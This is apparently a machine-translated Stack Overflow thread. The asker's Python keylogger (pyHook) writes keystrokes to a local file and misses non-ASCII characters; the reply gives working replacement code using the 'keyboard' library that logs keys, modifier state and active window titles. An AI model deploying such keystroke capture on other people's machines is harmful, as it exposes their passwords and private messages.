1

我创建了一个简单的键盘记录程序。在键盘上键入的所有内容都会发送到 log.txt 文件。问题是我的代码仅适用于 ASCII 代码。当我输入希腊字符时,它们被视为英文。

我希望我的代码:

  1. 也接受希腊字符或其他语言(通常是所有类型的字符)
  2. 记录诸如 Alt、Ctrl 等事件

到目前为止我的代码:

import pyHook , pythoncom , sys , logging , os

file_log = "C:\\Users\\admin\\Desktop\\New folder\\log.txt"
f = open(file_log , 'w')
try:
    f.seek(0)
    f.truncate()
finally:
    f.close()

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log,level = logging.DEBUG , format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    key = chr(event.Ascii)
    print key
    if (key == 'p'):
            os.startfile("C:\\Users\\admin\\Desktop\\New folder\\log.txt")
            sys.exit()
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

我的程序应该接受 Unicode 吗?

它怎么能这样做?

4

1 回答 1

0

我建议你使用不同的模块。我自己尝试过使用 PyHook,但这在按下死键 ('`^) 时引起了我的问题,通常其他使用特殊字母(如 á)的语言包含死键。PyHook 不能很好地处理它们。我目前使用的模块是键盘。键盘可以正确处理死键,并且在遇到它们时不会表现出一些奇怪的行为。也许键盘也是您的解决方案。使用键盘的示例如下:

from keyboard import on_press, on_release, wait
from win32gui import GetWindowText, GetForegroundWindow
from datetime import datetime

def display(event, key):
    global ctrlpressed, shiftpressed, lastwindow
    if lastwindow != GetWindowText(GetForegroundWindow()):
        lastwindow = GetWindowText(GetForegroundWindow())
        print("New Window: " + lastwindow)
    print('{0:8} {1:3} {2:5} {3:5} {4}'.format(datetime.fromtimestamp(event.time).strftime('%H:%M:%S'), event.scan_code, str(ctrlpressed), str(shiftpressed), key))

def KeyPressed(event):
    global ctrlpressed, shiftpressed
    if(event.name == 'left shift' or event.name == 'right shift'):
        shiftpressed = True;
    elif(event.name == 'left ctrl' or event.name == 'right ctrl'):
        ctrlpressed = True;
    else:
        display(event, event.name)

def KeyReleased(event):
    global ctrlpressed, shiftpressed
    if(event.name == 'left shift' or event.name == 'right shift'):
        shiftpressed = False;
    elif(event.name == 'left ctrl' or event.name == 'right ctrl'):
        ctrlpressed = False;

ctrlpressed = shiftpressed = False;
lastwindow = "";
on_press(KeyPressed)
on_release(KeyReleased)
wait()

在 Python 3.5 上测试

于 2017-02-16T21:54:28.090 回答